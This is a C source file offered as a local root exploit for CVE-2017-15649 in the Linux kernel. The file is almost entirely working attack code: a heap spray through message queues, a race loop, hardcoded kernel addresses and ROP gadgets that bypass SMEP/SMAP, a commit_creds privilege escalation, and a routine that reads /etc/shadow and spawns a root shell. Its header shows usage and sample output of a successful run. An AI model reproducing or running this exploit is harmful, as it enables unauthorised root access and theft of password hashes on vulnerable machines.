exploit.c

/*
 * A LPE exploit for cve-2017-15649
 * including a SMEP/SMAP bypass
 * Tested on custom compiled kernel 4.14-rc1 (default configuration)
 * Usage:
 * $ make
 * $ ./exploit
 * 1 iteration of race
 * 2 iteration of race
 * ...
 * 917 iteration of race
 * got r00t ^_^
 * # cat /etc/shadow
 * ... 
 * root:*:17565:0:99999:7:::
 * daemon:*:17565:0:99999:7:::
 * bin:*:17565:0:99999:7:::
 * sys:*:17565:0:99999:7:::
 * ...
 *
 * author: ww9210
 */

#include "poc_wrapper_15649.h"
#include <netinet/ip.h>
#include <stdint.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

char payload[4000];
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define SPRAY_PROCESS 16
#define ASYNC_WAIT 100000
#define STRUCT_LEN 3200
#define NUM_MSG 5

/* heap spray */
struct mmsghdr
{
    struct msghdr msg_hdr;
    unsigned int  msg_len;
};

struct msgbuf
{
	long mtype;
	char mtext[STRUCT_LEN];
};

struct msgbuf msg={0x4141414141414141,{0}};
int msqid;

int msgsnd_spray(char* t)
{
	int i;
	unsigned long int *ptr;
	if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1)
	{
		perror("msgget");
		exit(1);
	}
	memcpy(msg.mtext,t,STRUCT_LEN-1);
	msg.mtext[STRUCT_LEN]=0;
	for( i = 0; i < NUM_MSG; i++)
	{
		if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1)
		{
			perror("msgsnd");
			exit(1);
		}
	}
}

int msgrcv_spray()
{
	struct msgbuf msg_rcv;
	int i;
	for(i = 0; i < NUM_MSG; i++)
	{
		if (msgrcv(msqid, (void *) &msg_rcv, sizeof(msg_rcv.mtext), 0,
					MSG_NOERROR | IPC_NOWAIT) == -1)
		{
			if(errno != ENOMSG)
			{
				perror("msgrcv");
				exit(EXIT_FAILURE);
			}
		}
		else
		{
			//printf("message received: %s\n", msg.mtext);
		}
	}
	return 0;
}

void do_fork_msgsnd_spray(char* t)
{
	int i;
	pid_t pid;

	msgsnd_spray(t);
	for(i = 0;i<SPRAY_PROCESS;i++)
	{
		pid = fork();
		if (pid == -1)
		{
			perror("fork");
			exit(0);
		}
		if (pid == 0)
		{
			msgsnd_spray(t);
			exit(0);
		}
	}
}

void get_shell()
{
	system("cat /etc/shadow");
	system("whoami");
	char shell[] = "/bin/sh";
	char *args[] = {shell, NULL};
	execve(shell, args, NULL);
}


unsigned long user_cs, user_ss, user_rflags;
unsigned long exit_stack;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory"
		);
}

void get_root_1(){
	commit_creds(prepare_kernel_cred(0));
}

void exploit_start()
{
	return;
}

void exploit_state()
{
	asm(
			"movq %0, 0x00(%%rsp)\n"
			"movq $0xffffffff81788b6d, 0x08(%%rsp)\n"
			"movq $0xffffffff81f438f0, %%rax\n"
			"movq %%rax, 0x00(%%rax)\n"
			"ret"
			: : "r"(get_root_1)
	   );
}

void exploit_end()
{
	return;
}

void *alloc_umem(void* addr, size_t size)
{
	void * tmp = mmap((void*)addr,size,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_SHARED|MAP_ANONYMOUS,-1,0);
	if(tmp == (char*) -1)
	{
		perror("mmap");
		return NULL;
	}
	return tmp;
}

long r[16];
void loop()
{
  memset(r, -1, sizeof(r));
  r[0] = syscall(__NR_mmap, 0x20000000ul, 0x8000ul, 0x3ul, 0x32ul,
                 0xfffffffffffffffful, 0x0ul);
  r[3] = syscall(__NR_mmap, 0x20007000ul, 0x1000ul, 0x0ul, 0x12ul, r[2],
                 0x0ul);
  r[4] = syscall(__NR_socket, 0xaul, 0x2ul, 0x0ul);
  memcpy((void*)0x20007000, "\x20", 1);
  *(uint16_t*)0x20000fe4 = (uint16_t)0xa;
  *(uint16_t*)0x20000fe6 = (uint16_t)0x204e;
  *(uint32_t*)0x20000fe8 = (uint32_t)0x0;
  *(uint64_t*)0x20000fec = (uint64_t)0x0;
  *(uint64_t*)0x20000ff4 = (uint64_t)0x100000000000000;
  *(uint32_t*)0x20000ffc = (uint32_t)0x0;
  r[12] = syscall(__NR_sendto, r[4], 0x20007000ul, 0x1ul, 0x0ul,
                  0x20000fe4ul, 0x1cul);
}

int process_count=0;

int main()
{
	int i;
	int ret;
	commit_creds = (_commit_creds)0xffffffff81075f70;
	prepare_kernel_cred=(_prepare_kernel_cred)0xffffffff81076300;

	exit_stack = (unsigned long)alloc_umem((void*)(exit_stack-0x4000), 0x8000);
	unsigned long shellcode_start = 0xdeadbeef;
	alloc_umem((void*)(shellcode_start & (unsigned long)0xfffff000),4096*2);
	memset((char*)shellcode_start,0xcc,4096);
	memcpy((char*)(shellcode_start), (char*)exploit_state, (int)(&exploit_end - &exploit_start));

	pid_t pid;
	memset(payload,0x61,4000);
	*(unsigned long*)(payload+0x810)=0x6f0;
	*(unsigned long*)(payload+0x820)=0xdeadbeef;
	*(unsigned long*)(payload+0x828)=0xffffffff814f7dc8;
	*(unsigned long*)(payload+0x828)=0xffffffff81602459;
	*(unsigned long*)(payload+0x828)=0xffffffff81431358;
	*(unsigned long*)(payload+0x828)=0xffffffff8172e4a6;
	*(unsigned long*)(payload+0x830)=0x41414141;
	*(unsigned long*)(payload+0x830)=0xffffffff81044c64;
	*(unsigned long*)(payload+0x838)=0xffffffff81431358;
	*(unsigned long*)(payload+0x838)=0xffffffff8172e4a6;
	*(unsigned long*)(payload+0xb70)=0x6f0;
fork:
	if(process_count>1337){
exit:
		printf("race not win, please try again\n");
		return 0;
	}

	pid=fork();
	if(pid<0)
	{
		perror("fork");
		goto exit;
	}
	if(pid == 0)
	{ //child process is in sandbox
		main_15649();
	}
	else
	{ //not in sandbox
		pid = fork();
		if(pid<0)
		{
			perror("fork");
			goto exit;
		}
		if(pid==0)
		{
			usleep(ASYNC_WAIT);

			do_fork_msgsnd_spray(payload);

			save_state();
			i = *(int*)shellcode_start;

			loop();

			//check if we got root
			if (getuid() == 0)
			{
				sleep(1);

				puts("got r00t ^_^");

				get_shell();

				pause();
			}

			printf("%dth iteration of race\n",process_count++);
			exit(0);
		}
		ret = waitpid(pid,0,0);

		process_count++;
		usleep(ASYNC_WAIT);
		goto fork;
	}
	pause();//no exit
	return 0;
}